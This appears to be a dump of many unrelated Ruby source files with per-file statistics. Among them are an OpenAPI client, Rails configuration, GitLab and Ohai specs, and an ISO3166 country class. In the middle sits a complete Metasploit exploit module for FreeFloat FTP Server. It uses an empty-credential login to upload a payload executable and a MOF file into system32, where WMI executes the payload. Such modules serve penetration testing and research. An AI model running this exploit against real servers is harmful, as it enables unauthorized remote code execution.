if @api_client.config.client_side_validation && username.nil?
fail ArgumentError, "Missing the required parameter 'username' when calling UserApi.delete_user"
end
# resource path
local_var_path = '/user/{username}'.sub('{' + 'username' + '}', CGI.escape(username.to_s).gsub('%2F', '/'))
# query parameters
query_params = opts[:query_params] || {}
# header parameters
header_params = opts[:header_params] || {}
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:body]
# return_type
return_type = opts[:return_type]
# auth_names
auth_names = opts[:auth_names] || []
new_options = opts.merge(
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: UserApi#delete_user\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Get user by user name
# @param username [String] The name that needs to be fetched. Use user1 for testing.
# @param [Hash] opts the optional parameters
# @return [User]
def get_user_by_name(username, opts = {})
data, _status_code, _headers = get_user_by_name_with_http_info(username, opts)
data
end
# Get user by user name
# @param username [String] The name that needs to be fetched. Use user1 for testing.
# @param [Hash] opts the optional parameters
# @return [Array<(User, Integer, Hash)>] User data, response status code and response headers
def get_user_by_name_with_http_info(username, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: UserApi.get_user_by_name ...'
end
# verify the required parameter 'username' is set
if @api_client.config.client_side_validation && username.nil?
fail ArgumentError, "Missing the required parameter 'username' when calling UserApi.get_user_by_name"
end
# resource path
local_var_path = '/user/{username}'.sub('{' + 'username' + '}', CGI.escape(username.to_s).gsub('%2F', '/'))
# query parameters
query_params = opts[:query_params] || {}
# header parameters
header_params = opts[:header_params] || {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:body]
# return_type
return_type = opts[:return_type] || 'User'
# auth_names
auth_names = opts[:auth_names] || []
new_options = opts.merge(
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: UserApi#get_user_by_name\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Logs user into the system
# @param username [String] The user name for login
# @param password [String] The password for login in clear text
# @param [Hash] opts the optional parameters
# @return [String]
def login_user(username, password, opts = {})
data, _status_code, _headers = login_user_with_http_info(username, password, opts)
data
end
# Logs user into the system
# @param username [String] The user name for login
# @param password [String] The password for login in clear text
# @param [Hash] opts the optional parameters
# @return [Array<(String, Integer, Hash)>] String data, response status code and response headers
def login_user_with_http_info(username, password, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: UserApi.login_user ...'
end
# verify the required parameter 'username' is set
if @api_client.config.client_side_validation && username.nil?
fail ArgumentError, "Missing the required parameter 'username' when calling UserApi.login_user"
end
# verify the required parameter 'password' is set
if @api_client.config.client_side_validation && password.nil?
fail ArgumentError, "Missing the required parameter 'password' when calling UserApi.login_user"
end
# resource path
local_var_path = '/user/login'
# query parameters
query_params = opts[:query_params] || {}
query_params[:'username'] = username
query_params[:'password'] = password
# header parameters
header_params = opts[:header_params] || {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:body]
# return_type
return_type = opts[:return_type] || 'String'
# auth_names
auth_names = opts[:auth_names] || []
new_options = opts.merge(
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: UserApi#login_user\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Logs out current logged in user session
# @param [Hash] opts the optional parameters
# @return [nil]
def logout_user(opts = {})
logout_user_with_http_info(opts)
nil
end
# Logs out current logged in user session
# @param [Hash] opts the optional parameters
# @return [Array<(nil, Integer, Hash)>] nil, response status code and response headers
def logout_user_with_http_info(opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: UserApi.logout_user ...'
end
# resource path
local_var_path = '/user/logout'
# query parameters
query_params = opts[:query_params] || {}
# header parameters
header_params = opts[:header_params] || {}
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:body]
# return_type
return_type = opts[:return_type]
# auth_names
auth_names = opts[:auth_names] || []
new_options = opts.merge(
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: UserApi#logout_user\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Updated user
# This can only be done by the logged in user.
# @param username [String] name that need to be deleted
# @param user [User] Updated user object
# @param [Hash] opts the optional parameters
# @return [nil]
def update_user(username, user, opts = {})
update_user_with_http_info(username, user, opts)
nil
end
# Updated user
# This can only be done by the logged in user.
# @param username [String] name that need to be deleted
# @param user [User] Updated user object
# @param [Hash] opts the optional parameters
# @return [Array<(nil, Integer, Hash)>] nil, response status code and response headers
def update_user_with_http_info(username, user, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: UserApi.update_user ...'
end
# verify the required parameter 'username' is set
if @api_client.config.client_side_validation && username.nil?
fail ArgumentError, "Missing the required parameter 'username' when calling UserApi.update_user"
end
# verify the required parameter 'user' is set
if @api_client.config.client_side_validation && user.nil?
fail ArgumentError, "Missing the required parameter 'user' when calling UserApi.update_user"
end
# resource path
local_var_path = '/user/{username}'.sub('{' + 'username' + '}', CGI.escape(username.to_s).gsub('%2F', '/'))
# query parameters
query_params = opts[:query_params] || {}
# header parameters
header_params = opts[:header_params] || {}
# HTTP header 'Content-Type'
header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:body] || @api_client.object_to_http_body(user)
# return_type
return_type = opts[:return_type]
# auth_names
auth_names = opts[:auth_names] || []
new_options = opts.merge(
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: UserApi#update_user\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
end
end
| 36.224172 | 164 | 0.660442 |
6129dff29fa2b16c893be03213ab19b3130cc574 | 141 | # Be sure to restart your server when you modify this file.
Rails.application.config.session_store :cookie_store, key: '_lol_stats_session'
| 35.25 | 79 | 0.808511 |
3967a7d538441f329f30fa964f9e6897c3d05fc9 | 4,322 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "FreeFloat FTP Server Arbitrary File Upload",
'Description' => %q{
This module abuses multiple issues in FreeFloat: 1. No credential is actually
needed to login; 2. User's default path is in C:\, and this cannot be changed;
3. User can write to anywhere on the server's file system. As a result of these
poor implementations, a malicious user can just log in and then upload files,
and let WMI (Management Instrumentation service) to execute the payload uploaded.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r', # Vulnerability discovery, Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
['OSVDB', '88302'],
['OSVDB', '88303']
],
'Platform' => 'win',
'Targets' =>
[
['FreeFloat', {}]
],
'Privileged' => true,
'DisclosureDate' => '2012-12-07',
'DefaultTarget' => 0))
register_options(
[
# Change the default description so this option makes sense
OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
])
deregister_options('FTPUSER', 'FTPPASS') # Using empty user and password
end
def check
connect
disconnect
if banner =~ /FreeFloat/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def on_client_connect(cli)
peer = "#{cli.peerhost}:#{cli.peerport}"
case @stage
when :exe
print_status("Sending executable (#{@exe.length.to_s} bytes)")
cli.put(@exe)
@stage = :mof
when :mof
print_status("Sending MOF (#{@mof.length.to_s} bytes)")
cli.put(@mof)
end
cli.close
end
def upload(filename)
select(nil, nil, nil, 1)
peer = "#{rhost}:#{rport}"
print_status("Trying to upload #{::File.basename(filename)}")
conn = connect(false, datastore['VERBOSE'])
print_status("Sending empty login...")
res = send_user("", conn)
if not res or res !~ /331/
print_error("Error sending username")
return false
end
res = send_pass("", conn)
if not res or res !~ /230/
print_error("Error sending password")
return false
end
print_good("Empty authentication was successful")
# Switch to binary mode
print_status("Set binary mode")
send_cmd(['TYPE', 'I'], true, conn)
# Prepare active mode: Get attacker's IP and source port
src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
src_port = datastore['SRVPORT'].to_i
# Prepare active mode: Convert the IP and port for active mode
src_ip = src_ip.gsub(/\./, ',')
src_port = "#{src_port/256},#{src_port.remainder(256)}"
# Set to active mode
print_status("Set active mode \"#{src_ip},#{src_port}\"")
send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
# Tell the FTP server to download our file
send_cmd(['STOR', filename], false, conn)
disconnect(conn)
end
def exploit
exe_name = "WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"
mof_name = "WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"
@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
@exe = generate_payload_exe
@stage = :exe
begin
t = framework.threads.spawn("reqs", false) {
# Upload our malicious executable
u = upload(exe_name)
# Upload the mof file
upload(mof_name) if u
register_file_for_cleanup("#{::File.basename(exe_name)}")
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
}
super
ensure
t.kill
end
end
end
| 27.883871 | 100 | 0.613142 |
38efe77829ef342770333f7ae3e222a3b5d971c7 | 1,904 | class Character < ActiveRecord::Base
mount_uploader :picture, PictureUploader
belongs_to :player
validates :name, presence: true #, uniqueness: true
validates :picture, presence: true
validates :player_id, presence: true
before_save :calculate_parameters!
BaseParameter = 10
ScaleFactor = 100
AgeNumerator = 60
DefaultAge = 1
DefaultHitpoint = 1000
def reset_hitpoints
self.hitpoints = self.max_hitpoints
end
def calculate_parameters!(force = false)
if self.new_record? || force
colors = Miro::DominantColors.new(picture.current_path)
ratio = colors.by_percentage
logger.info "Color ratio: #{ratio}"
self.attack = calculate_attack(ratio)
self.defense = calculate_defense(ratio)
self.speed = calculate_speed(ratio)
self.max_hitpoints = calculate_hitpoints(ratio)
self.hitpoints = self.max_hitpoints
if FastImage.type(picture.current_path) == :jpeg
exifr = EXIFR::JPEG.new(picture.current_path)
self.age = calculate_age(exifr)
self.luck = 1 # calculate_luck(exifr)
else
self.age = DefaultAge
self.luck = 1
end
end
end
private
def calculate_age(exifr)
if exifr && exifr.f_number.to_f > 0
(AgeNumerator / exifr.f_number.to_f).ceil
else
DefaultAge
end
end
def calculate_attack(ratio)
BaseParameter + ((ratio[0] || 0) * ScaleFactor).floor
end
def calculate_defense(ratio)
BaseParameter + ((ratio[1] || 0) * ScaleFactor).floor
end
def calculate_speed(ratio)
BaseParameter + ((ratio[2] || 0) * ScaleFactor).floor
end
def calculate_hitpoints(ratio)
if ratio.length == 1
ratio.push 0
ratio.push 0
elsif ratio.length == 2
ratio.push 0
end
DefaultHitpoint - (ratio.standard_deviation.abs * 1000).floor
end
end
| 24.727273 | 67 | 0.659139 |
f715896df9e655889a067fb6ee826a76e50e6868 | 395 | require "bundler/setup"
require "ruby_tiger_graph_client"
require "rspec"
RSpec.configure do |config|
# Enable flags like --only-failures and --next-failure
config.example_status_persistence_file_path = ".rspec_status"
# Disable RSpec exposing methods globally on `Module` and `main`
config.disable_monkey_patching!
config.expect_with :rspec do |c|
c.syntax = :expect
end
end
| 24.6875 | 66 | 0.762025 |
6aa4f5fcc605a3afa9eeb582baed47f8365438d8 | 188 | # frozen_string_literal: true
component 'rubygem-rubocop' do |pkg, _settings, _platform|
pkg.version '0.76.0'
instance_eval File.read('build/vanagon/components/_base-rubygem.rb')
end
| 26.857143 | 70 | 0.771277 |
26f20de3c736c82df4c025cdff1b3235bcc6913d | 113 | class RenamePeopleToUsers < ActiveRecord::Migration[5.1]
def change
rename_table :people, :users
end
end
| 18.833333 | 56 | 0.752212 |
e9ed0493c21766dd0f2a1b26afaa7da3bcefd6f8 | 10,222 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe EventCreateService do
let(:service) { described_class.new }
let_it_be(:user, reload: true) { create :user }
let_it_be(:project) { create(:project) }
describe 'Issues' do
describe '#open_issue' do
let(:issue) { create(:issue) }
it { expect(service.open_issue(issue, issue.author)).to be_truthy }
it "creates new event" do
expect { service.open_issue(issue, issue.author) }.to change { Event.count }
expect { service.open_issue(issue, issue.author) }.to change { ResourceStateEvent.count }
end
end
describe '#close_issue' do
let(:issue) { create(:issue) }
it { expect(service.close_issue(issue, issue.author)).to be_truthy }
it "creates new event" do
expect { service.close_issue(issue, issue.author) }.to change { Event.count }
expect { service.close_issue(issue, issue.author) }.to change { ResourceStateEvent.count }
end
end
describe '#reopen_issue' do
let(:issue) { create(:issue) }
it { expect(service.reopen_issue(issue, issue.author)).to be_truthy }
it "creates new event" do
expect { service.reopen_issue(issue, issue.author) }.to change { Event.count }
expect { service.reopen_issue(issue, issue.author) }.to change { ResourceStateEvent.count }
end
end
end
describe 'Merge Requests' do
describe '#open_mr' do
let(:merge_request) { create(:merge_request) }
it { expect(service.open_mr(merge_request, merge_request.author)).to be_truthy }
it "creates new event" do
expect { service.open_mr(merge_request, merge_request.author) }.to change { Event.count }
expect { service.open_mr(merge_request, merge_request.author) }.to change { ResourceStateEvent.count }
end
end
describe '#close_mr' do
let(:merge_request) { create(:merge_request) }
it { expect(service.close_mr(merge_request, merge_request.author)).to be_truthy }
it "creates new event" do
expect { service.close_mr(merge_request, merge_request.author) }.to change { Event.count }
expect { service.close_mr(merge_request, merge_request.author) }.to change { ResourceStateEvent.count }
end
end
describe '#merge_mr' do
let(:merge_request) { create(:merge_request) }
it { expect(service.merge_mr(merge_request, merge_request.author)).to be_truthy }
it "creates new event" do
expect { service.merge_mr(merge_request, merge_request.author) }.to change { Event.count }
expect { service.merge_mr(merge_request, merge_request.author) }.to change { ResourceStateEvent.count }
end
end
describe '#reopen_mr' do
let(:merge_request) { create(:merge_request) }
it { expect(service.reopen_mr(merge_request, merge_request.author)).to be_truthy }
it "creates new event" do
expect { service.reopen_mr(merge_request, merge_request.author) }.to change { Event.count }
expect { service.reopen_mr(merge_request, merge_request.author) }.to change { ResourceStateEvent.count }
end
end
describe '#approve_mr' do
let(:merge_request) { create(:merge_request) }
it { expect(service.approve_mr(merge_request, user)).to be_truthy }
it 'creates new event' do
service.approve_mr(merge_request, user)
change { Event.approved_action.where(target: merge_request).count }.by(1)
end
end
end
describe 'Milestone' do
describe '#open_milestone' do
let(:milestone) { create(:milestone) }
it { expect(service.open_milestone(milestone, user)).to be_truthy }
it "creates new event" do
expect { service.open_milestone(milestone, user) }.to change { Event.count }
end
end
describe '#close_mr' do
let(:milestone) { create(:milestone) }
it { expect(service.close_milestone(milestone, user)).to be_truthy }
it "creates new event" do
expect { service.close_milestone(milestone, user) }.to change { Event.count }
end
end
describe '#destroy_mr' do
let(:milestone) { create(:milestone) }
it { expect(service.destroy_milestone(milestone, user)).to be_truthy }
it "creates new event" do
expect { service.destroy_milestone(milestone, user) }.to change { Event.count }
end
end
end
shared_examples_for 'service for creating a push event' do |service_class|
it 'creates a new event' do
expect { subject }.to change { Event.count }
end
it 'creates the push event payload' do
expect(service_class).to receive(:new)
.with(an_instance_of(PushEvent), push_data)
.and_call_original
subject
end
it 'updates user last activity' do
expect { subject }.to change { user.last_activity_on }.to(Date.today)
end
it 'caches the last push event for the user' do
expect_next_instance_of(Users::LastPushEventService) do |instance|
expect(instance).to receive(:cache_last_push_event).with(an_instance_of(PushEvent))
end
subject
end
it 'does not create any event data when an error is raised' do
payload_service = double(:service)
allow(payload_service).to receive(:execute)
.and_raise(RuntimeError)
allow(service_class).to receive(:new)
.and_return(payload_service)
expect { subject }.to raise_error(RuntimeError)
expect(Event.count).to eq(0)
expect(PushEventPayload.count).to eq(0)
end
end
describe '#wiki_event' do
let_it_be(:user) { create(:user) }
let_it_be(:wiki_page) { create(:wiki_page) }
let_it_be(:meta) { create(:wiki_page_meta, :for_wiki_page, wiki_page: wiki_page) }
Event::WIKI_ACTIONS.each do |action|
context "The action is #{action}" do
let(:event) { service.wiki_event(meta, user, action) }
it 'creates the event', :aggregate_failures do
expect(event).to have_attributes(
wiki_page?: true,
valid?: true,
persisted?: true,
action: action.to_s,
wiki_page: wiki_page,
author: user
)
end
it 'is idempotent', :aggregate_failures do
expect { event }.to change(Event, :count).by(1)
duplicate = nil
expect { duplicate = service.wiki_event(meta, user, action) }.not_to change(Event, :count)
expect(duplicate).to eq(event)
end
end
end
(Event.actions.keys - Event::WIKI_ACTIONS).each do |bad_action|
context "The action is #{bad_action}" do
it 'raises an error' do
expect { service.wiki_event(meta, user, bad_action) }.to raise_error(described_class::IllegalActionError)
end
end
end
end
describe '#push', :clean_gitlab_redis_shared_state do
let(:push_data) do
{
commits: [
{
id: '1cf19a015df3523caf0a1f9d40c98a267d6a2fc2',
message: 'This is a commit'
}
],
before: '0000000000000000000000000000000000000000',
after: '1cf19a015df3523caf0a1f9d40c98a267d6a2fc2',
total_commits_count: 1,
ref: 'refs/heads/my-branch'
}
end
subject { service.push(project, user, push_data) }
it_behaves_like 'service for creating a push event', PushEventPayloadService
end
describe '#bulk_push', :clean_gitlab_redis_shared_state do
let(:push_data) do
{
action: :created,
ref_count: 4,
ref_type: :branch
}
end
subject { service.bulk_push(project, user, push_data) }
it_behaves_like 'service for creating a push event', BulkPushEventPayloadService
end
describe 'Project' do
describe '#join_project' do
subject { service.join_project(project, user) }
it { is_expected.to be_truthy }
it { expect { subject }.to change { Event.count }.from(0).to(1) }
end
describe '#expired_leave_project' do
subject { service.expired_leave_project(project, user) }
it { is_expected.to be_truthy }
it { expect { subject }.to change { Event.count }.from(0).to(1) }
end
end
describe 'design events' do
let_it_be(:design) { create(:design, project: project) }
let_it_be(:author) { user }
shared_examples 'feature flag gated multiple event creation' do
context 'the feature flag is off' do
before do
stub_feature_flags(design_activity_events: false)
end
specify { expect(result).to be_empty }
specify { expect { result }.not_to change { Event.count } }
specify { expect { result }.not_to exceed_query_limit(0) }
end
end
describe '#save_designs' do
let_it_be(:updated) { create_list(:design, 5) }
let_it_be(:created) { create_list(:design, 3) }
let(:result) { service.save_designs(author, create: created, update: updated) }
specify { expect { result }.to change { Event.count }.by(8) }
specify { expect { result }.not_to exceed_query_limit(1) }
it 'creates 3 created design events' do
ids = result.pluck('id')
events = Event.created_action.where(id: ids)
expect(events.map(&:design)).to match_array(created)
end
it 'creates 5 created design events' do
ids = result.pluck('id')
events = Event.updated_action.where(id: ids)
expect(events.map(&:design)).to match_array(updated)
end
it_behaves_like 'feature flag gated multiple event creation'
end
describe '#destroy_designs' do
let_it_be(:designs) { create_list(:design, 5) }
let_it_be(:author) { create(:user) }
let(:result) { service.destroy_designs(designs, author) }
specify { expect { result }.to change { Event.count }.by(5) }
specify { expect { result }.not_to exceed_query_limit(1) }
it 'creates 5 destroyed design events' do
ids = result.pluck('id')
events = Event.destroyed_action.where(id: ids)
expect(events.map(&:design)).to match_array(designs)
end
it_behaves_like 'feature flag gated multiple event creation'
end
end
end
| 30.975758 | 115 | 0.651438 |
bf22801e532b7cbb47346a97b11a200e37d248ed | 117 | module LittleBird
class ParameterError < Exception
include LittleBirdErrors
attr_reader :response
end
end | 19.5 | 34 | 0.786325 |
f72d21a6240d542c465b5d711fc85cce46855a2e | 71 | # frozen_string_literal: true
module Assemblr
VERSION = '0.2.0'
end
| 11.833333 | 29 | 0.732394 |
6abe945de1ec99b012728412fd38d48f6f1b941e | 1,115 | # frozen_string_literal: true
#
# == OptionalModules namespace
#
module OptionalModules
#
# == AnalyticableConcern
#
module Analyticable
extend ActiveSupport::Concern
included do
analytical modules: [:google],
disable_if: proc { |controller|
!controller.should_track_user?
}
def should_track_user?
!analytical_modules? && cookie_cnil_check?
end
helper_method :should_track_user?
end
private
def analytical_modules?
@bool_value = !Rails.env.production? || Figaro.env.google_analytics_key.nil? || cookies[:cookie_cnil_cancel] == '1' || request.headers['HTTP_DNT'] == '1' || !@analytics_module.enabled?
@bool_value
ensure
send_gonalytical
end
def cookie_cnil_check?
!cookies[:cookiebar_cnil].nil?
end
def send_gonalytical
cookies_template = @bool_value ? false : render_to_string(partial: 'elements/cookies_template')
gon.push(
disable_cookie_message: @bool_value,
cookies_template: cookies_template
)
end
end
end
| 23.723404 | 190 | 0.652018 |
91b88e9e615e7e79a21e6677628059e8515e9ae5 | 5,350 | # frozen_string_literal: true
# A Ruby implementation of Joshua Bloch's
# [typesafe enum pattern](http://www.oracle.com/technetwork/java/page1-139488.html#replaceenums)
module TypesafeEnum
# Base class for typesafe enum classes.
class Base
include Comparable
class << self
include Enumerable
# Returns an array of the enum instances in declaration order
# @return [Array<self>] All instances of this enum, in declaration order
def to_a
as_array.dup
end
# Returns the number of enum instances
# @return [Integer] the number of instances
def size
as_array.size
end
# Iterates over the set of enum instances
# @yield [self] Each instance of this enum, in declaration order
# @return [Enumerator<self>] All instances of this enum, in declaration order
def each(&block)
to_a.each(&block)
end
# Looks up an enum instance based on its key
# @param key [Symbol] the key to look up
# @return [self, nil] the corresponding enum instance, or nil
def find_by_key(key)
by_key[key]
end
# Looks up an enum instance based on its value
# @param value [Object] the value to look up
# @return [self, nil] the corresponding enum instance, or nil
def find_by_value(value)
by_value[value]
end
# Looks up an enum instance based on the string representation of its value
# @param value_str [String] the string form of the value
# @return [self, nil] the corresponding enum instance, or nil
def find_by_value_str(value_str)
value_str = value_str.to_s
by_value_str[value_str]
end
# Looks up an enum instance based on its ordinal
# @param ord [Integer] the ordinal to look up
# @return [self, nil] the corresponding enum instance, or nil
def find_by_ord(ord)
return nil if ord > size || ord.negative?
as_array[ord]
end
private
def by_key
@by_key ||= {}
end
def by_value
@by_value ||= {}
end
def by_value_str
@by_value_str ||= {}
end
def as_array
@as_array ||= []
end
def valid_key_and_value(instance)
return unless (key = valid_key(instance))
[key, valid_value(instance)]
end
def valid_key(instance)
key = instance.key
return key unless (found = find_by_key(key))
value = instance.value
raise NameError, "#{name}::#{key} already exists with value #{found.value.inspect}" unless value == found.value
warn("ignoring redeclaration of #{name}::#{key} with value #{value.inspect} (source: #{caller(6..6).first})")
end
def valid_value(instance)
value = instance.value
return value unless (found = find_by_value(value))
key = instance.key
raise NameError, "A #{name} instance with value #{value.inspect} already exists: #{found.key}" unless key == found.key
# valid_key() should already have warned us, and valid_key_and_value() should have exited early, but just in case
# :nocov:
warn("ignoring redeclaration of #{name}::#{key} with value #{value.inspect} (source: #{caller(6..6).first})")
# :nocov:
end
def register(instance)
key, value = valid_key_and_value(instance)
return unless key
const_set(key.to_s, instance)
by_key[key] = instance
by_value[value] = instance
by_value_str[value.to_s] = instance
as_array << instance
end
end
# The symbol key for the enum instance
# @return [Symbol] the key
attr_reader :key
# The value encapsulated by the enum instance
# @return [Object] the value
attr_reader :value
# The ordinal of the enum instance, in declaration order
# @return [Integer] the ordinal
attr_reader :ord
# Compares two instances of the same enum class based on their declaration order
# @param other [self] the enum instance to compare
# @return [Integer, nil] -1 if this value precedes `other`; 0 if the two are
# the same enum instance; 1 if this value follows `other`; `nil` if `other`
# is not an instance of this enum class
def <=>(other)
ord <=> other.ord if self.class == other.class
end
# Generates a Fixnum hash value for this enum instance
# @return [Fixnum] the hash value
def hash
@hash ||= begin
result = 17
result = 31 * result + self.class.hash
result = 31 * result + ord
result.is_a?(Integer) ? result : result.hash
end
end
def to_s
"#{self.class}::#{key} [#{ord}] -> #{value.inspect}"
end
private
IMPLICIT = Class.new.new
private_constant :IMPLICIT
# TODO: is documentation on this still accurate? does it still need to be private?
def initialize(key, value = IMPLICIT, &block)
raise TypeError, "#{key} is not a symbol" unless key.is_a?(Symbol)
@key = key
@value = value == IMPLICIT ? key.to_s.downcase : value
@ord = self.class.size
self.class.class_exec(self) do |instance|
register(instance)
instance.instance_eval(&block) if block_given?
end
end
private_class_method :new
end
end
| 29.722222 | 126 | 0.629533 |
2820caa0b85c60e75258e36c22c75c9273f89cbc | 2,379 | #
# Author:: Adam Jacob (<[email protected]>)
# Copyright:: Copyright (c) 2008-2016 Chef Software, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require_relative "../../../spec_helper.rb"
describe Ohai::System, "Darwin plugin platform" do
before(:each) do
@plugin = get_plugin("darwin/platform")
allow(@plugin).to receive(:collect_os).and_return(:darwin)
@stdout = "ProductName: Mac OS X\nProductVersion: 10.5.5\nBuildVersion: 9F33"
allow(@plugin).to receive(:shell_out).with("/usr/bin/sw_vers").and_return(mock_shell_out(0, @stdout, ""))
end
it "should run sw_vers" do
expect(@plugin).to receive(:shell_out).with("/usr/bin/sw_vers").and_return(mock_shell_out(0, @stdout, ""))
@plugin.run
end
it "should set platform to ProductName, downcased with _ for \\s" do
@plugin.run
expect(@plugin[:platform]).to eq("mac_os_x")
end
it "should set platform_version to ProductVersion" do
@plugin.run
expect(@plugin[:platform_version]).to eq("10.5.5")
end
it "should set platform_build to BuildVersion" do
@plugin.run
expect(@plugin[:platform_build]).to eq("9F33")
end
it "should set platform_family to mac_os_x" do
@plugin.run
expect(@plugin[:platform_family]).to eq("mac_os_x")
end
describe "on os x server" do
before(:each) do
@plugin[:os] = "darwin"
@stdout = "ProductName: Mac OS X Server\nProductVersion: 10.6.8\nBuildVersion: 10K549"
allow(@plugin).to receive(:shell_out).with("/usr/bin/sw_vers").and_return(mock_shell_out(0, @stdout, ""))
end
it "should set platform to mac_os_x_server" do
@plugin.run
expect(@plugin[:platform]).to eq("mac_os_x_server")
end
it "should set platform_family to mac_os_x" do
@plugin.run
expect(@plugin[:platform_family]).to eq("mac_os_x")
end
end
end
| 33.041667 | 111 | 0.698193 |
e8bbd2b8542aa01f73ee7e1a43f1c977bc93c6f6 | 4,396 | module ISO3166; end
class ISO3166::Country
Codes = YAML.load_file(File.join(File.dirname(__FILE__), '..', 'data', 'countries.yaml'))
Translations = YAML.load_file(File.join(File.dirname(__FILE__), '..', 'cache', 'translations.yaml'))
Data = {}
Codes.each do |alpha2|
Data[alpha2] = YAML.load_file(File.join(File.dirname(__FILE__), '..', 'data', 'countries', "#{alpha2}.yaml"))[alpha2]
Data[alpha2] = Data[alpha2].merge(Translations[alpha2])
end
Names = I18nData.countries.values.sort_by { |d| d[0] }
AttrReaders = [
:number,
:alpha2,
:alpha3,
:currency,
:name,
:names,
:latitude,
:longitude,
:continent,
:region,
:subregion,
:world_region,
:country_code,
:national_destination_code_lengths,
:national_number_lengths,
:international_prefix,
:national_prefix,
:address_format,
:translations,
:ioc,
:gec,
:un_locode,
:languages,
:nationality,
:address_format,
:dissolved_on,
:eu_member,
:alt_currency,
:vat_rates,
:postal_code,
:min_longitude,
:min_latitude,
:max_longitude,
:max_latitude,
:latitude_dec,
:longitude_dec
]
AttrReaders.each do |meth|
define_method meth do
@data[meth.to_s]
end
end
attr_reader :data
def initialize(country_data)
@data = country_data.is_a?(Hash) ? country_data : Data[country_data.to_s.upcase]
end
def valid?
!(@data.nil? || @data.empty?)
end
alias_method :zip, :postal_code
alias_method :zip?, :postal_code
alias_method :postal_code?, :postal_code
def ==(other)
other == data
end
def currency
ISO4217::Currency.from_code(@data['currency'])
end
def currency_code
@data['currency']
end
def subdivisions
@subdivisions ||= subdivisions? ? YAML.load_file(File.join(File.dirname(__FILE__), '..', 'data', 'subdivisions', "#{alpha2}.yaml")) : {}
end
alias_method :states, :subdivisions
def subdivisions?
File.exist?(File.join(File.dirname(__FILE__), '..', 'data', 'subdivisions', "#{alpha2}.yaml"))
end
def in_eu?
@data['eu_member'].nil? ? false : @data['eu_member']
end
def to_s
@data['name']
end
def translation(locale = 'en')
@data['translations'][locale.downcase]
end
private
class << self
def new(country_data)
if country_data.is_a?(Hash) || Data.keys.include?(country_data.to_s.upcase)
super
end
end
def all(&blk)
blk ||= proc { |country, data| [data['name'], country] }
Data.map &blk
end
alias_method :countries, :all
def all_translated(locale = 'en')
translations(locale).values
end
def translations(locale = 'en')
I18nData.countries(locale.upcase)
end
def search(query)
country = new(query.to_s.upcase)
(country && country.valid?) ? country : nil
end
def [](query)
search(query)
end
def method_missing(*m)
regex = m.first.to_s.match(/^find_(all_)?(country_|countries_)?by_(.+)/)
super unless regex
countries = find_by(Regexp.last_match[3], m[1], Regexp.last_match[2])
